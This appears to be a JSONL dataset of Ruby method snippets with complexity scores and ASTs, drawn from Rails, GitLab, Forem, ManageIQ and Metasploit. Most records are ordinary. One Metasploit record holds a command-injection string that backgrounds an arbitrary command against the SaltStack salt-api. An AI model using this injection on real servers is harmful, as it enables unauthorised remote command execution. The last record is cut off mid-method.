{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1340,"raw_source":"def test_has_many_through_obeys_order_on_through_association\n    owner = owners(:blackbeard)\n    assert_includes owner.toys.to_sql, \"pets.name desc\"\n    assert_equal [\"parrot\", \"bulbul\"], owner.toys.map { |r| r.pet.name }\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_obeys_order_on_through_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"owner\",{\"type\":\"send\",\"children\":[null,\"owners\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},\"toys\"]},\"to_sql\"]},{\"type\":\"str\",\"children\":[\"pets.name desc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"parrot\"]},{\"type\":\"str\",\"children\":[\"bulbul\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},\"toys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"pet\"]},\"name\"]}]}]}]}]}","id":"e45f6db5-81ef-4d04-9524-905dcd5b7f42"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/live_stream_test.rb","start_line":477,"raw_source":"def test_abort_with_full_buffer\n      old_queue_size = ActionController::Live::Buffer.queue_size\n      ActionController::Live::Buffer.queue_size = 10\n\n      @controller.latch = Concurrent::CountDownLatch.new\n      @controller.error_latch = Concurrent::CountDownLatch.new\n\n      capture_log_output do |output|\n        get :overfill_buffer_and_die, format: \"plain\"\n\n        t = Thread.new(response) { |resp|\n          resp.await_commit\n          _, _, body = resp.to_a\n          body.each do\n            @controller.latch.wait\n            body.close\n            break\n          end\n        }\n\n        t.join\n        @controller.error_latch.wait\n        assert_match \"Error while streaming\", output.rewind && output.read\n      end\n    ensure\n      ActionController::Live::Buffer.queue_size = old_queue_size\n    end","complexity_score":45.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_abort_with_full_buffer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_queue_size\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Live\"]},\"Buffer\"]},\"queue_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Live\"]},\"Buffer\"]},\"queue_size=\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"latch=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"error_latch=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_log_output\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"overfill_buffer_and_die\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"plain\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"response\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"await_commit\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"latch\"]},\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"close\"]},{\"type\":\"break\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"error_latch\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Error while streaming\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"rewind\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"read\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Live\"]},\"Buffer\"]},\"queue_size=\",{\"type\":\"lvar\",\"children\":[\"old_queue_size\"]}]}]}]}","id":"09e483b2-1c22-47af-9d26-43fd45eb19c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/update_container_registry_info_service_spec.rb","start_line":150,"raw_source":"def stub_supports_gitlab_api(output)\n    allow_next_instance_of(ContainerRegistry::GitlabApiClient) do |client|\n      allow(client).to receive(:supports_gitlab_api?).and_return(output)\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_supports_gitlab_api\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_next_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"GitlabApiClient\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"supports_gitlab_api?\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}","id":"878ec58a-e6c3-47c6-b841-c42949b61f97"}
{"repo_name":"forem","file_path":"./repos/forem/app/mailers/notify_mailer.rb","start_line":162,"raw_source":"def base_subscriber_role_email\n    @user = params[:user]\n\n    subject = I18n.t(\"mailers.notify_mailer.base_subscriber\",\n                     community: Settings::Community.community_name)\n    mail(to: @user.email, subject: subject)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_subscriber_role_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"mailers.notify_mailer.base_subscriber\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"community\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Community\"]},\"community_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}","id":"7f4c3b44-905c-45f0-9daf-49bfc0c1fb36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/pipeline_schedule_type.rb","start_line":83,"raw_source":"def edit_path\n        ::Gitlab::Routing.url_helpers.edit_project_pipeline_schedule_path(object.project, object)\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"edit_project_pipeline_schedule_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"8d6d5466-a361-44a4-80f9-fe324720d3d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/saltstack_salt_api_cmd_exec.rb","start_line":119,"raw_source":"def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    # Subshell and background our command injection\n    send_request_cmd_inject(\"/dev/null < /dev/null & (#{cmd}) & #\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cmd_inject\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/dev/null < /dev/null & (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\") & #\"]}]}]}]}]}","id":"ec78629b-9b13-4a75-b919-930133d1e3a5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/base.rb","start_line":223,"raw_source":"def self.without_modules(*modules)\n      modules = modules.map do |m|\n        m.is_a?(Symbol) ? ActionController.const_get(m) : m\n      end\n\n      MODULES - modules\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"without_modules\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"modules\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modules\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MODULES\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"modules\"]}]}]}]}","id":"c3e5d648-0c85-4f23-b0ff-ff97f96cd9db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/deploy_tokens/expiring_worker.rb","start_line":41,"raw_source":"def process_deploy_tokens(interval = :seven_days)\n      scope = DeployToken\n        .scope_for_notification_interval(interval)\n        .project_token\n        .active\n        .with_project_owners_and_maintainers\n        .ordered_for_keyset_pagination\n\n      iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)\n\n      iterator.each_batch(of: BATCH_SIZE) do |batch|\n        tokens_for_update = []\n\n        batch.each do |deploy_token|\n          next unless notify_users_of_deploy_token(deploy_token, interval)\n\n          tokens_for_update << deploy_token.id\n        end\n\n        if tokens_for_update.any?\n          begin\n            DeployToken.update_notification_timestamps(tokens_for_update, interval)\n          rescue ActiveRecord::ActiveRecordError => e\n            Gitlab::ErrorTracking.track_exception(\n              e,\n              message: \"Failed to update deploy token notification timestamps\",\n              token_ids: tokens_for_update,\n              interval: interval\n            )\n          end\n        end\n\n        break if over_time?\n      end\n    end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"process_deploy_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval\",{\"type\":\"sym\",\"children\":[\"seven_days\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployToken\"]},\"scope_for_notification_interval\",{\"type\":\"lvar\",\"children\":[\"interval\"]}]},\"project_token\"]},\"active\"]},\"with_project_owners_and_maintainers\"]},\"ordered_for_keyset_pagination\"]}]},{\"type\":\"lvasgn\",\"children\":[\"iterator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Iterator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterator\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tokens_for_update\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deploy_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_users_of_deploy_token\",{\"type\":\"lvar\",\"children\":[\"deploy_token\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens_for_update\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deploy_token\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens_for_update\"]},\"any?\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployToken\"]},\"update_notification_timestamps\",{\"type\":\"lvar\",\"children\":[\"tokens_for_update\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ActiveRecordError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to update deploy token notification timestamps\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_ids\"]},{\"type\":\"lvar\",\"children\":[\"tokens_for_update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]}]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"over_time?\"]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}]}","id":"bc1695c3-74b5-486a-888b-4b93a06ef4d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/truncate_visible_filter.rb","start_line":41,"raw_source":"def truncate_content(content_length, max_chars, node)\n        num_remaining = max_chars - content_length\n        return unless node.content.length > num_remaining\n\n        node.content = node.content.truncate(num_remaining)\n        @truncated = true\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_length\"]},{\"type\":\"arg\",\"children\":[\"max_chars\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_remaining\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_chars\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"content_length\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content\"]},\"length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"num_remaining\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content\"]},\"truncate\",{\"type\":\"lvar\",\"children\":[\"num_remaining\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@truncated\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"30d17dee-848d-4f8a-a4b5-c19ee3c9b1ba"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing/ipv6_redirect_test.rb","start_line":11,"raw_source":"def index\n      render plain: foo_path\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[null,\"foo_path\"]}]}]}]}]}","id":"5e2b1305-d448-4ae3-bb93-8c6fb39a9ce7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/api.rb","start_line":49,"raw_source":"def patch(url, payload = nil, args = {})\n        request_args = {\n          method: :patch,\n          url: url,\n          payload: payload,\n          verify_ssl: false\n        }.merge(with_canary(args))\n\n        with_retry_on_too_many_requests do\n          RestClient::Request.execute(request_args)\n        rescue StandardError => e\n          return_response_or_raise(e)\n        end\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"patch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_args\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_ssl\"]},{\"type\":\"false\",\"children\":[]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"with_canary\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retry_on_too_many_requests\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RestClient\"]},\"Request\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"request_args\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"return_response_or_raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}","id":"2e9bee73-c8c7-4c54-8b9f-80863f1583b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_lfs_file_locks_service.rb","start_line":22,"raw_source":"def skip?\n        params[:skip_locked_lfs_files_check].present?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"skip?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_locked_lfs_files_check\"]}]},\"present?\"]}]}","id":"a891aa92-028b-4203-ad6a-941b3449dae6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":578,"raw_source":"def fields\n        self.class.fields.dup\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fields\"]},\"dup\"]}]}","id":"2b67b09a-214d-4af1-a3c5-b5869b113414"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":520,"raw_source":"def test_query_param_named_action\n    get :test_query_parameters, params: { action: \"foobar\" }\n    parsed_params = JSON.parse(@response.body)\n    assert_equal({ \"action\" => \"foobar\" }, parsed_params)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_query_param_named_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"test_query_parameters\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"foobar\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed_params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"foobar\"]}]}]},{\"type\":\"lvar\",\"children\":[\"parsed_params\"]}]}]}]}","id":"0fa2f1e3-27cf-4bc9-a523-f5aa74fcd9d2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":478,"raw_source":"def connection_configurations=(options)\n    options.each do |option|\n      add_connection_configuration_by_role(option)\n    end\n\n    delete_unused_connection_configurations(options)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_configurations=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[null,\"add_connection_configuration_by_role\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_unused_connection_configurations\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"6a65a2f2-7ddf-4d0c-924a-333d4e4dce81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils.rb","start_line":286,"raw_source":"def allow_within_concurrent_ruby\n      previous = Thread.current[:restrict_within_concurrent_ruby]\n      Thread.current[:restrict_within_concurrent_ruby] = false\n\n      yield\n    ensure\n      Thread.current[:restrict_within_concurrent_ruby] = previous\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_within_concurrent_ruby\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"restrict_within_concurrent_ruby\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"restrict_within_concurrent_ruby\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"restrict_within_concurrent_ruby\"]},{\"type\":\"lvar\",\"children\":[\"previous\"]}]}]}]}","id":"50f72bc8-01af-4e27-b4ed-b962aae30b55"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/podcasts/get_episode.rb","start_line":25,"raw_source":"def try_update_media_url(episode:, item_data:, force_update:)\n      if !episode.published_at? && item_data.pubDate\n        update_published_at(episode, item_data)\n      end\n\n      unreachable = !(episode.https? && episode.reachable?)\n      need_url_update = (unreachable && episode.created_at > 12.hours.ago) || force_update\n      PodcastEpisodes::UpdateMediaUrlWorker.perform_async(episode.id, item_data.enclosure_url) if need_url_update\n    